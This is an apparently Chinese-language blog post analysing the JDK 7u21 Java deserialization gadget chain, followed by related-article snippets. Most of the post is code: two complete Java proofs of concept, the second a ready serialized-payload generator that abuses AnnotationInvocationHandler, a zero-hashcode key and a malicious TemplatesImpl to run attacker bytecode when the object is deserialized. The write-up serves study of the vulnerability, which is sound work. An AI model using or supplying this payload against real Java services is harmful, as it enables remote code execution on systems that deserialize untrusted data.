<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java反序列化漏洞學習(二) Jdk7u21利用鏈分析

    一顆小胡椒2021-12-21 20:42:16

    JDK7u21的核心點是我們在cc1中也出現過的AnnotationInvocationHandler,在cc1中我們用到了他會觸發this.memberValues.get(var4);這個點,而在JDK7u21中利用到了他里面的equalsImpl。先來看一下equalsImpl。

    private Boolean equalsImpl(Object var1) {    if (var1 == this) {        return true;    } else if (!this.type.isInstance(var1)) {        return false;    } else {        //獲取一個Method列表        Method[] var2 = this.getMemberMethods();        int var3 = var2.length;        //遍歷列表        for(int var4 = 0; var4 < var3; ++var4) {            Method var5 = var2[var4];            String var6 = var5.getName();            Object var7 = this.memberValues.get(var6);            Object var8 = null;            //判斷var1是否為AnnotationInvocationHandler對象,如果是的化返回對象            //不是的話返回null            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);            if (var9 != null) {                var8 = var9.memberValues.get(var6);            } else {                try {                    //調用Method方法                    var8 = var5.invoke(var1);                } catch (InvocationTargetException var11) {                    return false;                } catch (IllegalAccessException var12) {                    throw new AssertionError(var12);                }            }
                if (!memberValueEquals(var7, var8)) {                return false;            }        }
            return true;    }}
    private Method[] getMemberMethods() {    if (this.memberMethods == null) {        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() {            public Method[] run() {                 //獲取this.type類的所有方法                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();                AccessibleObject.setAccessible(var1, true);                return var1;}}      );}    return this.memberMethods;}
    

    遍歷執行了this.type指向的類的所有方法,如果我們將this.type賦值為Templates.class,equalsImpl中傳入TemplatesImpl就會執行他的getOutputProperties方法,而我們在前面也講過getOutputProperties會觸發類加載最后會執行我們的惡意類。

    public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    } else {        assert var5.length == 0;        if (var4.equals("toString")) {            return this.toStringImpl();        } else if (var4.equals("hashCode")) {            return this.hashCodeImpl();        } else if (var4.equals("annotationType")) {            return this.type;        } else {            Object var6 = this.memberValues.get(var4);            if (var6 == null) {                throw new IncompleteAnnotationException(this.type, var4);            } else if (var6 instanceof ExceptionProxy) {                throw ((ExceptionProxy)var6).generateException();            } else {                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                    var6 = this.cloneArray(var6);                }                return var6;            }        }    }}
    

    在AnnotationInvocationHandler的invoke中調用了equalsImpl。如果代理的對象執行了equals方法就會進入equalsImpl,傳入proxy對象的第一個參數進入equalsImpl。一個簡單的demo演示一下如何利用equalsImpl。

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;
    import javax.xml.transform.Templates;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;
    public class JDK7u21 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{            ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()        });        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
            Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);        handlerConstructor.setAccessible(true);        //this.type傳入Templates.class        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, new HashMap());        //生成代理對象        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);        //手動觸發proxy的equals方法,參數傳入我們的惡意TemplatesImpl        proxy.equals(templates);    }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}
    

    之后就是找哪里的反序列化會調用到我們的equals方法。看到HashMap的put方法

    public V put(K key, V value) {    if (key == null)        return putForNullKey(value);    //計算對象的hash    int hash = hash(key);    //計算放在table的索引    int i = indexFor(hash, table.length);    //如果索引位置已經有元素進去for循環    for (HashMap.Entry e = table[i]; e != null; e = e.next) {        Object k;        //如果兩個對象的hash相同就判斷兩對象是否是同一個,如果不是就是調用equals比較        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {            V oldValue = e.value;            e.value = value;            e.recordAccess(this);            return oldValue;        }    }    modCount++;    addEntry(hash, key, value, i);    return null;}
    

    我們只要第一次put惡意的TemplatesImpl對象,第二次put一個proxy對象就可以構造出,proxy.equals(TemplatesImpl)。但是還需要讓兩對象的hash相同。看看hash方法是怎么計算hash的。

    final int hash(Object k) {    int h = 0;    if (useAltHashing) {        if (k instanceof String) {            return sun.misc.Hashing.stringHash32((String) k);        }        h = hashSeed;    }
        h ^= k.hashCode();    h ^= (h >>> 20) ^ (h >>> 12);    return h ^ (h >>> 7) ^ (h >>> 4);}
    

    兩對象的hash結果是否相等取決于他們的hashCode方法返回是否相等,TemplateImpl的hashCode() 是一個Native方法,每次運 行都會發生變化,所以要讓兩個對象的hash相等只能寄希望于proxy.hashcode。調用proxy.hashcode也會進入到AnnotationInvocationHandler的invoke方法接著進入到hashCodeImpl方法。

    private int hashCodeImpl() {    int var1 = 0;
        Map.Entry var3;    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {        var3 = (Map.Entry)var2.next();    }
        return var1;}
    

    也就是我們的結果是所有的(127 * key.hashCode())^value.hashCode()的和。

    JDK7u21中使用了一個非常巧妙的方法:

    ?當memberValues中只有一個entry時結果可以簡化成(127 * key.hashCode())^value.hashCode()

    ?當key,hashCode=0時結果可以簡化成value.hashCode

    ?當value 就是TemplateImpl對象時,這兩個哈希就變成完全相等

    在HashSet的readObject中使用到了HashMap來去重

    private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    // Read in any hidden serialization magic    s.defaultReadObject();
        // Read in HashMap capacity and load factor and create backing HashMap    int capacity = s.readInt();    float loadFactor = s.readFloat();    map = (((HashSet)this) instanceof LinkedHashSet ?        new LinkedHashMap(capacity, loadFactor) :        new HashMap(capacity, loadFactor));
        // Read in size    int size = s.readInt();
        // Read in all elements in the proper order.    for (int i=0; i        E e = (E) s.readObject();        map.put(e, PRESENT);    }}
    

    然后漏洞的流程就很明了了,我這里直接貼p神的payload

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.codec.binary.Base64;
    import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;
    public class JDK7u21 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()        });        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
            String zeroHashCodeStr = "f5a5a608";
            // 實例化一個map,并添加Magic Number為key,也就是f5a5a608,value先隨便設置一個值        HashMap map = new HashMap();        map.put(zeroHashCodeStr, "foo");
            // 實例化AnnotationInvocationHandler類        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);        handlerConstructor.setAccessible(true);        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
            // 為tempHandler創造一層代理        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
            // 實例化HashSet,并將兩個對象放進去        HashSet set = new LinkedHashSet();        set.add(templates);        set.add(proxy);
            // 將惡意templates設置到map中        map.put(zeroHashCodeStr, templates);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(set);        oos.close();
            System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}
    

    第一次map.put(zeroHashCodeStr, "foo");是為了set.add時候不觸發利用鏈執行,而第二次 map.put(zeroHashCodeStr, templates);將真正的templates設置進去,這里因為他們的key都是相同的所以就是將舊的的value替換成templates。

    序列化string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php反序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    初識Java反序列化
    2022-06-10 08:49:49
    研究某產品反序列化EXP時,搜集到的POC只有一段16進制字節序列難以利用,遂有下文對Java序列化和反序列化的學習。 大致內容如下: 序列化和反序列化示例 序列化數據組成解構 反序列化漏洞形成原理
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    正常來說一個合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的結果是一致的。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类